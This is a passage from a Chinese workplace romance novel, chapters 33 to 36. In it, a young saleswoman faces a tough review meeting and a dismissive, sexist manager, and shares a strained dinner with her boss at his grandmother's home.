赵志远一听,“这么重要的信息你怎么没说?是不了解?”
“这个情况我知道,但这家维保商的服务质量并不好,医工、影像等科室的意见已经很大了。如果我们能拿出更有性价比的方案,说服圣南选择我们也并不是没有可能的呀。”
“真是天真,啥叫胳膊拧不过大腿。那几个科室的意见能左右到供应商的选择上?就算有,他们又凭什么支持你?凭你长得好看?”
“是的啊,小辛,我一直告诉你们,做业务要找准关键决策人。”
“我明白。只要巡检结果出来,我会做一份新的效益分析方案去找院长。他既是院长,总也得考虑运营成本和经济效益吧?”
张鑫的表情像在听什么天荒夜谈,朝赵志远一挑眼,“辛熙,要说你年纪小单纯不懂事吧,可你毕竟也出来工作这么久了,该见的也见了,该懂的也该懂了。你自己主动转岗来做业务,思考逻辑可不能还用你坐办公室的那套。”
辛熙还想辩解,
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可赵志远也说:“小辛啊,你在支持岗位上的表现我是很认可的,但做业务这块,你还得多跟你鑫哥学习。”
辛熙不想放弃,追问了一句:“赵经理,那这个巡检不能做吗?”
张鑫不屑一笑,“怎么?你有信心赢过人家小舅子?”
辛熙并不想和他掰扯,转头看向赵志远,赵志远说:“小辛啊,你有这种业务敏感性是好事,公司肯定支持你,但质控团队的排期我也不左右,再等等。”
并没有实质性的进展,辛熙有些闷气。
赵志远找了个借口,叫走了张鑫,只留下她茫然地站在原地。再等等,可答应庄来的时间已经快到了。
“你今天是不是心情不好?”卢湘端着咖啡,走到她身边。
“没有啊”,她并没有生气,虽然表情看起来有些凝重,她只是在思考他俩的话,用自己的认知辨别其中的对错,然后试图找寻出路。
“可你刚才的状态和平日里完全不同。”
“是么?”
“非常的有攻击性”,但卢湘似乎更欣赏这样的辛熙,朝她竖起大拇指,“保持啊,别给他们好脸。”
陆陆续续有人来,原本安静的办公区域立马热闹起来,不知道谁吼了一句“开会了”,热闹的气氛又立马迁移到了会议室。
辛熙习惯了最后进去,之前她作为销售支持,要负责会务的杂事,一般会选择靠墙的位置站着,待安排好与会人员,才找个角落的位置坐下。
习惯很难改变,尤其在没有意识到问题之前。
姜渠一进会议室,很难不注意到站着的人,呆板得有些失神。或许是宿醉未醒呢,毕竟是想要左拥右抱的人。
昨晚的那个饭局,不算愉快,原本说好的发小聚会,一个个都带上了女伴,莺莺燕燕地一群,却很少能和他参加婚宴时认识的“嫂子”或“弟妹”对上号。
他听见徐进叫自家的司机去送东西,便自告奋勇,正好找个借口离开。
长大的发小奔了东西南北,就像一棵树开始分枝,感情的根基是在的,却很难再抱团。
“直接开始吧!”姜渠的声音不大,但气势很足,他将笔记本往桌上一拍,会议室里立马鸦雀无声,“上半年北区的总体业务收入是多少?你们各自的考核指标又完成了多少?合同续签和新客户拓展都达标了吗?”
连着几问,问得销售个个低埋着头,只有几个销冠尚能稳坐,辛熙悄悄往旁边溜,就听到身后一句,“从达成率最低的销售开始,做上半年的总结以及下半年的工作计划。”
辛熙感觉到了来自四面八方的目光,达成率最低,那她这个零鸭蛋的必定首当其冲了。可她毕竟不算是全职销售,这就将她架在那儿不上不下了。
姜渠已经落座,正在低头处理事务,没有人愿意承认自己业绩垫底,辛熙不得不赶鸭子上架,抱着电脑走到最前面,她打开电脑,随后移动鼠标来打开PPT,可试了几次,光标一动不动。
真是不顺心,真想砸了它。然后她很快察觉到了异样,目光瞥向一旁的姜渠,非常无语的表情,他的电脑桌面正在无序地挪动文件。
这是......辛熙赶紧松了指头,那个文件也随之停止了移动。
辛熙心里咯噔,握在手里的鼠标变得烫手。好像就是在昨晚,她从他的车上拿走电脑包时,正好看到了落在座椅上的鼠标,一看自己的电脑包拉链开着,当是自己的,就也没多想,赶紧捡起来塞回了包里。
姜渠将笔记本一盖,问:“还不开始?”
“马上,马上。”
33. 第 33 章
辛熙只能改变习惯,放弃了对鼠标的依赖。
她的半年总结,没有多少数据支撑,开口时就有些底气不足。底下的人因为姜渠在,倒没人敢干其他的事,只是一个个眼神很没有焦点地投过来。
辛熙敏锐地察觉到了,便想着既然大家不想听,那就简短些,说得快些,于是话赶话,词叠词,囫囵一通,结果将事先想好的逻辑顺序越说越乱。
这个过程里,思维中跳出了另一个自己在同步检视自己的表现,察觉乱了又更慌乱。辛熙试图从姜渠的表情里找到些评价,但他神情很淡,只在她说到某几个关键点时会微微皱眉,就又单方面地给定了个“表现得令人失望”的结论。
也没来得及想想,失望源自于有期待。
“这一部分针对支持性事务的总结,核心要点还是在于移动工作台新增的线上数据模型,对我们的日常工作有显著提效。”
底下有人听到这儿坐不住了,抱怨说:“哪儿提效了,新的这些流程太费时费力了,什么都要我们销售自己做申请,自己在系统里更新信息。以前我们每天在外面跑客户,参加招投标,维护客情关系,结果现在天天抱着手机或平板交数据,写汇报。”
“是的呀。那部分纯粹白费精力。”
他们似乎对此非常有意见,甚至有人说:“这些办公室的工作我们做不来,做业务的把合同签回来不就好了。”
一言起,随之而来的应和声此起彼伏,他们的抱怨不在辛熙的预料之中,与其说是慌乱,她更多的是疑惑,不明白他们为什么会对此意见很大,所以听得格外认真。
这事,放大了是公司决策性的问题,放小了,也不过是销售和支持专员的工作分配问题。辛熙看向姜渠,他却似乎充耳不闻,甚至在施琪想要起身说两句的时候,示意她保持沉默。
这是,要交给她独自应对了。
辛熙硬着头皮说了句官话,“线上数据模型,是为了更高效地收集、更新信息,并通过及时处理数据将运算结果更快地反馈到前端,实现对业务的指导。你们......”
“并没有觉得更方便了。”
“是啊,只是减少了协助部门的工作量而已。”
“以前,让我们填什么,我们直接EXCEL给你们,你们汇总上交,多方便的。”
......
声讨的音浪让辛熙认为自己搞砸了这个开头。
当然也有赞同的,李元便是其一,他说:“咱们本来也就是要提交的,填EXCEL表和在云台上提交,都差不多吧。”
辛熙朝他感激地笑笑,随后又听见何耀丹说:“线上提交的工作数据可以做到更长时间的存留和调取,也能从更多维度进行整合分析,甚至是事先预警,例如,咱们的球管秒次达到一定临界值时就可能高爆,这种业务机会,大家是想等通知,还是更想事先知晓,提早开展前期的客户维护工作呢?”
何耀丹也不理解业务端的抱怨,就她个人而言,她更希望自己对区域内客户的信息全面的负责和掌控。
坐得较为靠前的销售,平日里有些看不惯何耀丹,小声嘟囔了一句“就你懂呗”,然后成功收到了姜渠的一记冷眼。
卢湘安静地坐在末尾席,销售这样的推诿,她自然不爽,但当着老板面吵工作分配,倒更像在拈轻怕重,于是不着痕迹地将耳边的发拨到一侧才出声回应:“理解大家平日工作的辛苦,你们要是有忙不过来的时候,也可以把账户密码什么的给辛熙和我,我们可以帮忙维护的。”
有个声音十分不给面子地回了一句,“话说得好听,一个找不见人,一个永远在忙。”
听起来,应该积怨已久。
姜渠终于在会议转变成吵架大会之前,敲了敲桌面,“别离题,有什么意见会后找我聊。”
辛熙在他的眼神里读到了不耐烦。
做不好总结,干不出业绩,随便甩了个话题都被狙击得毫无招架之力,可不就得惹人厌烦嘛?
你年轻贪玩,我可以理解,但不准备配合——你年轻贪玩,工作能力也不行,凭什么和我绑在一起?
为一段并不长久的关系承担高风险,并不是理智的选择——为你这样的人,不值得冒这样的险。
辛熙觉得自己终于读懂了他那天离开前说的话。
她一向温善,看似好欺负,但若被逼至墙角,倒能逼出一腔肝胆去力挽狂澜。
辛熙将目光移回到自己的幻灯片上,按下手中的激光笔,她极力让自己冷静,关掉所有敏感的雷达,回归到具体的事务上,混沌的脑子才开始明晰。不要露怯啊,辛熙暗自提醒自己。
要说服人,如果逻辑口才不行,就只能摆事实讲道理,还好她早有准备。辛熙将电脑画面切换到数据模型上,“这是我近俩月来收集的我所负责的区域的客户信息,有一些在我们历史的数据库中就有,我做了更新,另有一些是新增的。我已经将所有的信息录入了我们的云台。这些基础数据的录入确实人工可以完成,但数字化重塑后建立的模型,以及模型对应提供的解决方案,才是大家最需要也是最不可替代的。”
她依然语调温和,并没有评判先前争论的对错,“我想,大家应该是还没有习惯用它,所以觉得它繁琐,认为它只增加了大家的工作量而对于业务没有任何的助益。但实际上,我们希望将数据维护的责任交给到每位销售的手里,目的只是希望大家永远掌握主动权。”
“我举个例子说明,假设我们现在要在各大医疗集团推行整体打包服务,我们可以按照惯例设置筛选条件:1、中高端设备占比应高于50%;2、院内没有配置专业的医工团队;3、上一个自然年年度营收基本趋于收支平衡及以上;4、近年来有过50W+/年以上的买保记录。设定条件之后,数据模型会为我筛选出建议主推的客户。而我在经过一些拜访和洽谈之后,会发现有些业务机会并不在其中,我就可以增加或减少限制,同时将我在这个过程中了解到的情况和自己的思考输入进数据模型中,这个模型会反复学习我们的使用习惯,并给出最优解,从而实现真正的,一切业务数据化,一切数据业务化。”
辛熙说完,也演示完成,数据模型给出的答案,令全场静默了三秒,随后简运带头鼓了掌,掌声轰鸣。
姜渠靠着椅子,翘着腿儿,几不可见地挑眉,这个表情只被身边的施琪和刚好坐在对面何耀丹捕捉到。
“辛熙,你真的太棒了。这个数据模型刚上线这么短的时间,你就已经应用得这么熟练了。”
“还好啦,主要是因为有太多不懂的地方,所以花了些时间学习”,刚才昂扬的人在一声声热烈的掌声里,
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回归谦逊,辛熙婉谢了何耀丹的夸奖。
“辛熙,那你已经将这个数据模型应用到了实战中吗?”施琪希望能听到她更多的表达。
“是的。头一个月我将津南地区的大小医院跑了个遍,在收集并完善了客户的基础信息后,我利用数据模型筛选出了存在设备老旧低效而导致病人量流失的几家客户,给不同医院量身定做了采购建议书,并且已经递交过去了。”
“量身定做?做了多少?”姜渠终于开了口。
“前后有十五份左右。”
“有明确意向的客户了吗?”
“有三家意向,正在持续跟进。另外有两家,需要先过院会。”
这已经算是不错的结果了,辛熙回答的时候气儿足足的,甚至不自主地带着一丝对抗,只是她自己没有察觉。
“新购设备、升级迭代、备用机、全保服务”,姜渠念着她PPT上呈现的方案,“你有没有想过这些服务在其他任何一家正规公司都能提供。如果客户拿着你的建议书找其他的供应商合作,你该怎么办?”
辛熙从来没有想过这个可能,“可我并没有给他们报价。”
“难道你到最后,是想要和他们拼低价?”
辛熙真切地感受到了他给来的压力,想到第一次会上,有新销售被吓哭,第二天就提交了辞呈,心想,莫不是自己也难逃这命运?
辛熙双唇紧抿,憋着气,有些艰难地开口,“那姜总,您有什么好的建议吗?”
他却忽然敛起那股劲儿,语气寻常:“我没有建议。只是想提醒你,不要太过依赖算法,算法不懂人性。”
“好的,谢谢姜总提醒。”
辛熙不确定他是不是放过了自己,但理智上她是认可姜渠的话的,这的确是自己需要着重反思的地方。
终于结束了,辛熙觉得自己的精气神儿全给榨没了。
有她在前面抛砖引玉,后面的人做起汇报来,就容易得多。当然,姜渠的要求一向很高,做得不好的地方会毫不留情面地当场指出来,无论对方是谁,业绩多少。
辛熙知道自己并没有被刻意针对,但心里堵得慌,情绪一直有些低落。
中场休息时,销售都扎堆结伴地往外面走,等辛熙处理完手上的工作再抬头时,会议室里散得只剩下了何耀丹和姜渠,在聊什么框架协议的事情。
她迅速地意识到气氛上的微妙,这让她觉得自己有义务立即消失。这份责任感的来源,她尚且理不清,但她果断地站了起来,并迅速往外走。
“回来”,姜渠却叫住了她。
辛熙一脸问号,“姜总,您有什么指示?”
姜渠看着她一半的身子已经跨出了门,就这么侧在门框里,手撑着门把手,半点不掩饰想要离开的心思,“跟姥姥说,我明天出差,周六才回来,不能一起吃饭了。”
哈?这......辛熙觉得自己开了半天会有些缺氧,脑子都转不动了,他这话什么意思?干嘛要我转述?我该回答什么?
辛熙期待何耀丹问一句“你们俩什么关系”,或者哪怕只是发出一个单音,表达疑惑,自己也好顺着解释下:我只是刚巧租到了他姥姥家的房子。
可何耀丹没有问,她就没有立场开口解释,只能将语气尽量生硬,显得公事公办,“好的,姜总。”
34. 第 34 章
辛熙一肚子心事,她发现自己真的捉摸不透这男人的心思,流行歌曲里常唱女人心难捉摸,现在看来,也是一种刻板印象,现实里谁的心思都不好猜。
简运不知道从哪里钻出来,递给她一杯咖啡,“刚去楼下买的。”
“谢谢,我待会儿把钱转你”,辛熙回答得有些有气无力。
“怎么了?还在为刚才被姜总批了的事儿烦啊。想开点,你看你后面那几个人,谁没被批,个个被批得跟霜打的茄子似的,他就这风格。你今天表现得很好,已经进步很多了,你那个数据模型,连张鑫他们怕是都没想到能这么用。”
“谢谢你的安慰”,辛熙勉强扯出一个笑脸,总不好让人的好心付诸东流。
两个人路过茶水间,有几个熟悉的说笑声传来,话里的字眼隐隐约约指向了自己。
“那不就是活脱脱地一个何耀丹2号吗?”
“人就是跟着她混的,徒弟像师傅,这不很正常?”
“是啊,变化蛮大的咧。我还记得刚来时那唯唯诺诺的样儿,这边哥,那边姐的,多乖一小姑娘啊。”
“不一样咯,你没看见人都敢跟姜总叫板了吗?”
“好吧,兴许老板就欣赏这样的。我觉得姜总最后说话的语调都软了。”
“呵,有什么了不起的,不也就是个内勤助理。”
“现在是业务解决方案助理专员了。”
辛熙几乎可以想象得出他们在说这些话时的嘴脸,一张张正经的脸上红嘴白牙,眼神浮浪,相互暗示,却偏又要端着体面,保留余地。真若哪天把话传出去了,当事人来追究,是完全有底气一脸无辜地否认:我可没那个意思,是听的人自己想多了。
简运劝她,“别理他们,那几个在团队里是出了名的碎嘴。你看我们谁搭理了。”
辛熙轻轻地应了一句。她不敢告诉简运,那些话对她真正的伤害在于,她真的做了一些不可昭彰于天的事情,即便她动机单纯,但真要计较,也是不好枉叫无辜的。
“走吧,会要开始了。”
她还是主动选择了避免冲突。可这时候,茶水间的几个人恰好走出来,和他俩正面碰着,笑容还没来得及收拾就这么尴尬地挂在唇角。
也确实尴尬,辛熙只能咧着嘴朝他们笑笑。
再次回到会议室里,每个人都快速调整为先前那副职业化的模样,理智、客观、团结友善又富有激情。他们分享方案,总结成败,永远积极向上。
辛熙的脑海中莫名地想起了高桥的那句:能进麦高的谁不优秀?
是啊,谁不优秀,我也不差呀!大家能一起共事,说明大家水平也差不多啊,嫌弃我干嘛......
姜渠从她进门时就注意到了异样,眉眼耷拉,好似受了什么委屈,尤其在她落座后,那个叫简运的销售还特意跟人换了个位置到她身边挨着,小声地给她说着什么话。她听得有些心不在焉,注意到会议已经开始,朝他提醒了一句,两个人才分开。
是早上批得太过了?
会议按照正常议程,在下班前结束。结束后,照例要聚餐。姜渠只在第一次参加过,一是因为忙,二是因为没必要。他不反对底下的人用这种方式搞团队建设,但他自己并不认同。
几个月相处下来,大家也摸清了他的脾气秉性,每次只礼貌地问一句,“姜总,晚上的聚餐您参加吗?”
他一般都回:“我就不去了,你们好好玩。”
今天也不例外,赵志远问完他的意思,大家就散了,各自找伴儿拼车去聚餐地。
何耀丹叫住正要出门的辛熙,“你和我一块儿吧,我正好开车了。”
辛熙有些意外,何耀丹一向独来独往,除了聊工作上的事,她俩私下毫无交集,“方便么?我也可以自己打车去的。”
“方便,路上咱俩还可以多聊聊。”
“那谢谢耀丹姐了。”
何耀丹说这话时,目光却越过辛熙,投向了前面的姜渠,这种下意识的动作落在了机敏的施琪眼里,玩笑道:“你俩什么时候这么要好了?”
“我们一直都很好啊”,何耀丹放下自己的电脑包,甚至专门走到辛熙身边,半搂了她一下,用亲密的口吻问她:“是吧?”
“嗯嗯,当然了”,辛熙点头如捣蒜。
何耀丹维持着这个姿势,又问施琪,“晚上聚餐你去吗?”
施琪耸耸肩,指着姜渠离去的背影,故意细着嗓子说:“去不了,老板加班,得随行伺候”。那副做派像极了深宫里的哀怨嬷嬷。
何耀丹配合着,揖了个礼,“施总管辛苦,那小的们可就告退了。”
“去吧,去吧,快乐是你们的,而我,什么都没有。”
“不,你有加班。”
何耀丹开的车,如同她本人的气质,低调不张扬,但她开车的习惯却又似乎和辛熙印象中的大有不同。例如,她非常爱超车,只要有机会,见缝插针地换车道。当然,她一向情绪稳定,哪怕遇到个不文明的,被超了车,大骂他们“赶着投胎啊”,她也并不受影响,只朝着自己的目的地一路往前。
“耀丹姐,慢点没事,我看群里说他们好多人还在公司没出发呢”,辛熙只当她一向守时,特意提醒了一句。
“他们晚了那是他们的事,我不习惯迟到。”
但毕竟是在大京北,即便导航已经选择了最优路线,她们依然还是堵在了下班高峰的路上。
“今天天气蛮好的呢,天蓝蓝的”,辛熙再一次发挥自己没话找话说的本事。
“夏天都这样吧”,何耀丹兴致缺缺,却又问辛熙,“你来京北多少年了?”
“我大学就在京北上的,差不多五年了。”
“那你在京北应该有很多朋友吧?不像我,整天除了客户就是同事。”
“那你也是一毕业就进了麦高吗?”辛熙莫名地有点兴奋,不自觉提高了语调。她想从何耀丹身上找到一些持续努力的盼头,这个盼头的来源在于,如果自己真的和她再多一个共同点,那未来在职场上是不是也能如她一般更优秀一些?
那时候,优秀在她这儿的定义,就是专业知识过硬,是见领导不怵,是应对客户轻松自如。
“我是在美国总部做过两年流程controller,当时中国区还没有独立运营,我因为一些原因想回国定居,就申请了内调。”
“美国啊,那边的工作方式和国内区别大么?”
“当然。在美国,我们只需要做好自己的本职工作”,路灯刚好变红,何耀丹拉下手刹,看向辛熙,“你懂得!就像今天这样的会后聚餐,几乎不可能有,同事之间有很明确的界限。”
“那也挺好的,少了很多社交压力啊。工作嘛,只要有匹配劳动付出的薪资、符合劳动法的保障性/福利,我就很满足了。”
这些团建什么的,能少则少吧。上层领导对此或许有高屋建瓴的看法,但对于她这样的小虾米,团建只是一次群体性的应酬。
“咱们姜总也是这种管理风格啊,有机会你可以和他多聊聊。”
“那还是算了吧。”
“怎么?还怕他呢?”
“没有啊”,辛熙的否认毫无说服力。
“之前就听施琪说姜总在麦高很有威信,个个都很怕他,我还不信呢。没
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想到你们真怕他啊,他有什么好怕的”,何耀丹语气轻松,“你和姜总,私下关系不是挺好的吗?看你俩挺熟的。”
终于问了出来。熟吗?也不算太熟吧;关系好么?那肯定不是。
辛熙反应了一下,尽量让自己的语气显得自然,“嗨!可巧了不是,我的房东阿姨刚好是姜总的姥姥,我们也才刚知道,好巧是不是?哈哈,太巧了......”
“这么有缘?”何耀丹意味深长地笑了一下,“那这么好的机会你怎么不好好利用?”
“利用?”辛熙觉得她话里有话,这种感觉让她隐约不适,但或许是自己太敏感想多了,于是直接问她:“什么意思呀?”
“你别误会。开会前,我看到你去找了赵志远,想让他帮你安全巡检,是么?”
“嗯。”
“你现在手上的这些客户,都是张鑫之前放弃的,我认为赵志远是不会主动帮你的。”
辛熙并不理解,赵志远作为经理,她出单对区域的业绩来说是有益无害的。
何耀丹看着她一脸不解,单纯的人总要经历些事才能成长,她没有义务教她绕过这些弯路,只说:“你和我争论这些没有意义,我只有一个建议,如果你真的想做,你可以直接去找姜总,我想,说服他比说服赵志远,你更机会。”
此时的红灯变绿,何耀丹发动车子,人行道上却忽然冲过来一个学生,不顾危险继续往前冲。何耀丹着急地按了喇叭提醒,随后放下手刹,一脚油门踩了下去。
她甚至没有一丝犹豫。
辛熙从右后视镜里看到那个学生被吓了一跳,怔愣着望着他们离开的方向,大概心有余悸。她被这个意外吓得不轻,也跟着拍了拍自己胸脯。
“怎么了?把你吓着啦?”何耀丹说得很轻松。
“主要,我刚真怕那孩子冲出来,再伤着。”
“没人教他遵守交通规则,当我好心,免费给他上一课。”
因为这个小插曲,辛熙心头那种道不明的不舒服总是散不去。也没了找话聊的心思,就这么沉默着到达目的地。
下车前,才又听到何耀丹补充了一句,“关于你和姜总的关系,可以当我没问吗?”
“嗯?”
“我不想让我的老板认为我太过八卦他的私生活。”
辛熙点头答应,在她看来,这个要求并不过分。
晚上的聚餐,一如往常,聊天喝酒吃肉,何耀丹早早找了个借口溜了,卢湘也不知道隐身去了哪里。团队内部的聚餐,也没有什么规矩,大家都顺着性子来。
辛熙磨磨蹭蹭地挨了好久,终于等到赵志远身边没有人,忙端了酒杯走向他。
赵志远已经有些醉了,看到辛熙过来,很是惊讶,毕竟往常她都是能躲则躲的,“不错、不错啊,小辛,做业务了成熟很多了嘛。”
“赵经理,我敬你一个,谢谢你这一年多的照顾。”
“坐下说,坐下说”,赵志远拍了拍自己身旁的空位,“你这个小姑娘啊,我还是很看好的。”
“谢谢,谢谢”,辛熙仰头喝光了杯子里的酒,顺便又说起圣南医院的巡检。
“怎么还惦记这事儿?”赵志远已经有些不耐烦,言语间有了火气,“小辛,你要我怎么说你才好。平日里那点聪明劲儿去哪儿了,非要我把话都说透吗?”
“可我已经答应客户了......”
“那是你自己的事!你给客户承诺之前问过我的意见吗?”
“我认为......”
“你认为,你认为!你这小姑娘啊,什么都你认为,那工作是你认为要怎样就可以怎样吗?”
35. 第 35 章
辛熙莫名地挨了一顿批。
赵志远抬高的音量,将四周的目光都聚集到他二人身上,辛熙有些不知所措。传统意义上来说,赵志远是她职业生涯里的第一位领导,他一向和善、待人亲切,很少对下属发脾气。辛熙一度很庆幸,自己毕业的第一份工作就进了行业top前10的企业,也没有遇到网络上盛行的那种情绪不稳定但精神控制很在行的上司。所以辛熙挨批的第一反应是:他怎么了?是不是最近遇到什么烦心的事情,心情不好了?
“知道我为什么对你发火吗?”
辛熙摇摇头,“赵经理,你是把情绪带到工作中来了吗?”
赵志远觉得自己一拳打在了棉花上,心底的火收压不住,摆了摆手,“真是跟你说不通,我去外面抽根烟。不许跟过来!”
“哦”,辛熙刚起身又坐了回去。
委屈是后知后觉地爬上来的。
身边的人来来去去,觥筹交错。她独自坐在原地,一动不动。桌上还有赵志远情绪激动时打倒的酒杯,红色的液体洒在了白色的桌布上,又顺着流到地上成了一滩。辛熙取来纸巾去擦,擦完桌上的又去擦地上的。白色的纸巾一遍遍被浸透,她蹲在桌底下,眼泪像珍珠一样滴下来,混进了酒渍里,小心翼翼地,怕被人发现。
连赵经理这样的好脾气都发火了,辛熙很难不怀疑自己是不是真的有些急功近利。业绩好的张鑫说没必要做,优秀的何耀丹也说赵志远不会答应做,那是不是真的不应该做?
辛熙有些迷惑,抹掉眼泪,在黑漆漆的桌底下做完了心理建设,决定先去找赵志远道个歉。
聚餐的地儿在一家园林式火锅店,走出包间,是回廊水榭,辛熙在一座立式的圆柱形玻璃鱼缸前看到了卢湘,于是走过去,想问她有没有看到赵志远在哪里。结果,话还没问出口,就先看到了被挡住的李元,脸上还有来不及擦掉的口红印记......
辛熙震惊中又带着一丝慌乱,他们刚才......是在......
撞破同事的恋情,一般人会怎么反应?躲开、装没看见,还是大方地开个玩笑化解尴尬?辛熙选择了前者,掩耳盗铃,转身撤退,顾不得卢湘说的什么,只匆匆解释了句,“我,我在找赵经理。”
辛熙埋头往前,在一处吸烟区看见了赵志远,与他一起的还有张鑫,他们面朝着前面的人工湖,灯光昏暗下,面容在弥漫的香烟里模糊不清。
身后一道力将辛熙拉回了假山后面,卢湘面有怒气,喘着气问她,“你跑什么跑?”
“没啊。我找赵经理,刚才好像惹他不高兴了,想跟他道个歉来着。”辛熙尴尬地笑着。
卢湘越过假山看到了赵志远,撇撇嘴,依然看起来气儿不顺,问:“你刚才看见什么了?”
“我没......”
“不管你看见什么,都不许告诉别人,知道吗?”
辛熙捂住嘴,直点头,右手拇指和食指圈成圈,比了个OK的手势。
李元不知道什么时候跟过来的,由着两个女生对话,也没冒然打扰,随后,他似乎想起点事情,越过她们,径直走向了假山前的吸烟区。简短的寒暄后,李元忽然主动提起了辛熙,“小辛最近进步很大啊,今天那个数据模型应用得好。老赵,真不愧是你带的人。”
赵志远嘿嘿一笑,倒是张鑫冷嗤了声,“数据做得好,不代表单子谈得回来。”
“不是说已经有三家意向了吗?”
“意向而已。从意向到成单,中间有一万种失败的可能性。”
“张鑫,怎么听起来,你挺不愿意她成的?”李元玩笑着问起,“你是咱们区的销冠,她的客户之前又都是你手上的,你帮帮人家啊,人家平日里工作不是挺支持你的嘛。”
“我不行的咯。她多有本事啊,都能让姜总把客户划给她,自然有本事把单子签下来的咯。”
李元明显感觉到了张鑫语气里的不满,心领神会地转向赵志远,笑呵呵地打着圆场,“老赵,你们团队内部也不怎么和谐啊,是不是今晚的酒少喝了几杯,我说怎么躲到这儿来呢。”
“那可没有啊。我俩刚都聊好了”,赵志远的语气里带着从未见过的傲慢,“小辛有小辛的长处,该认可的咱还是认可。但女孩子嘛,每天打扮得漂漂亮亮地坐在办公室,吹吹空调,不就很好了嘛。外面这些商业的事情,玩不来的。”
卢湘和辛熙在假山后同时听到了这一段对话。
卢湘愤愤不平,“说的什么屁话,女孩子就只能坐办公室,干杂事,做后勤。什么年代了,要是把这些话给他发到网上,会被骂死的好么。”
辛熙神色落寞。针对性别的偏见是对一个群体的侮辱,但因为自己只是群体的亿万分之一,这种伤害便是迟钝的,可赵志远针对她个人的否定,却深深地触及了她的痛点。
“卢湘,你是不是也觉得我想做销售,是自不量力?”
“是,也不是”,卢湘不知道该怎么措辞,毕竟她确实认为辛熙不合适,“只是吧,我以前认为的女销售,都是岚姐那种风风火火型的,不然也得是关成君那种妖艳劲儿吧。但其实仔细想想,好像又不是这么回事儿。”
“什么意思?”
“你看啊,像何耀丹这种技术型人才转做业务,其实也有她的优势嘛,例如逻辑清晰、知识面广。姜总在业务端口做的改革,不就是希望将之前的利益型销售模式转变为资源型、技术型嘛。所以,你肯定也有你的优势啊。”
对各种大牌如数家珍的卢湘说起公司的战略来头头是道,辛熙有些惭愧,“湘湘,你懂得好多哦。”
卢湘得意又害羞,“我这也是近朱者赤。”
“那你觉得我有什么优势吗?”辛熙真诚地发问,她需要一些认同感来鼓舞自己。
“你,你......人好。”
“真是谢谢你哦。”
人好的定义是什么?乖顺、不计较,甚至让渡一部分自我,体谅他人,将情绪向内消化。
她一直做得很好,所以这一次,她选择了先行离开。
不打招呼就走,就是她的反击。
就这么垂头丧气地走回了吉兆胡同,站在院门前,辛熙做了个深呼吸,路灯下皱成一团的人影随之伸展,她捏了捏自己的脸,让僵住的表情有了几分鲜活的颜色。
辛熙推开院门,声音已经恢复到了平日里的活跃,朝屋里吼了一声,“英姨,英姨,您的辛辛宝贝已经回来咯。”她越是丧气,越爱撒娇。这偌大的城市,她能撒娇的对象除了姐姐辛雅,就是黎英了。
黎英在屋里应了一声,“不是说要很晚吗?今儿怎么这么早了?”
辛熙随口想了个理由,“哎~今儿大老板不在,我们就自由些,想走就走......了......姜,姜......”
人和声音一并僵在了玄关处,辛熙怎么也没想到被自己拿来当借口的大老板,此时正大喇喇地坐在客厅里。黎英从厨房出来,端着碗汤,“快来,我煨了好几个小时的参鸡汤,用的还是你
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上回从老家带来的土鸡,正鲜着呢。”
辛熙赶紧接过来,坐到了餐桌边。只是姜渠正以同样的姿势在低头喝汤,气氛就有种莫名的怪异。
不对啊,英姨已经知道咱俩见过面了,装不认识不合适吧?辛熙瞅了眼姜渠,又去瞅黎英,发现黎英正打量着二人,似乎已经察觉到了二人之间的不对劲儿,赶紧笑呵呵地朝姜渠打招呼,“嗨,您好......好久不见。”
客气又有礼貌。
好久不见么?不是白天刚在公司见过?姜渠头也没抬,嗯了一声,继续一手喝汤,一手翻着手机,手机里正是大家分享在群里的视频和照片,胡乱乱地一堆未读。
真是不懂礼貌!辛熙只敢暗想,但黎英却将这句话说出了口,还顺便敲了下姜渠的脑袋,“来我这儿就一直盯着手机看,有什么好看的”,说完,又对辛熙解释,“辛辛,你别介意哈,这孩子从小放养着长大,礼数上欠缺了些,但没啥坏心思。”
那一刻,辛熙实在无法将眼前皱着眉头老实挨批的人和公司那个雷厉风行的姜总联系到一块。
他说:“姥姥,我已经快三十岁了。”
“三十岁怎么了,你就是七老八十,做错了照样得挨批评。”
姜渠无语,余光里瞧见了眼睛瞪得圆圆的辛熙,放弃了抵抗,“是,您老都对。”
辛熙强忍着不敢笑出声,只好假装低头喝汤。谁料,姜渠并没打算放过,问她:“刚听你说,你们今儿大老板不在,你才溜回来了,怎么?你们老板,要求你们必须陪吃陪喝到很晚吗?”
黎英也随着他的话,转向辛熙,似乎是觉得这人知道关心人了,也是有进步的,于是眼神期待地等着辛熙的回应。
“我们老板......人挺好的,嘿~我刚......就,就,意思是,是想说......”
黎英当她善良,不想过多对人抱怨,于是抢过话,“他们那领导,我跟你说的呀,那人是真不行。每次聚餐都得搞到很晚,一开会开起来也是没个头儿,还特别擅长,就是你们年轻人说的那个P什么A。”
“是么?”姜总的目光将正准备端着碗躲开的辛熙牢牢锁住。
辛熙只得硬着头皮回答,“还好啦,我认为老板的批评也是为了促进下属的进步。”
“哎,辛辛啊,你就是太乖了”,黎英不得不再次为她打抱不平,“我之前跟你说,让你在你们公司帮她找个好点的职位,你找了没啊?我跟你讲哦,辛辛也是名校毕业,工作和学习能力都很强的,她......”
辛熙赶紧打断黎英的话,“英姨,我现在工作挺好的,真的。我还不想换工作。”
当事人这么说了,黎英只好作罢,她的目的本也不是要帮辛熙换工作,她只是希望两个人能有更多的机会相处,于是,黎英又从对辛熙工作能力的表扬上,转到了对其人美心善的肯定。
“去年冬天我扭伤了脚,出行都得多亏了辛辛,每日帮我换药,陪我定期复诊。院儿里的医生都以为她是我孙女。我说,我哪有这种福气啊,能有这么乖的孙女儿......”
这些话,姜渠听了已经不知道多少遍。那时候,他在美国的纠纷诉讼已经接近尾声,朋友都劝他留下来,凭借这些年累积的人脉资源,东山再起不是问题。但他听到自己最亲爱的姥姥受伤,身边却只有一个租客陪着的时候,他立马下定了决心要回国。
人爬到过顶端,见识过顶级的繁华也见过至暗的人性,发现人生到头皆空,忽然就倦了。
36. 第 36 章
姜渠喝完鸡汤就要走,今天不是周五,原本也不是要和姥姥一起吃饭的日子。但今天加完班,他独自一个人站在高楼,望着底下的城市灯火和车流,他为一丝迟来的孤独感感到落寞。他拥有一些世俗的成功,也经历沉浮,他一向以为自己的人性里是缺少对情感的需求。
已经不需要,所以不会因为没有而不适。但今天,他却格外想要回到那个唯一可以被称之为“家”的地方。
第一次听说家里有了租客的时候,他很不能理解。那间次卧,一开始是母亲元如苏的,后来是他的,再后来属于一个陌生人,随便的一个人。
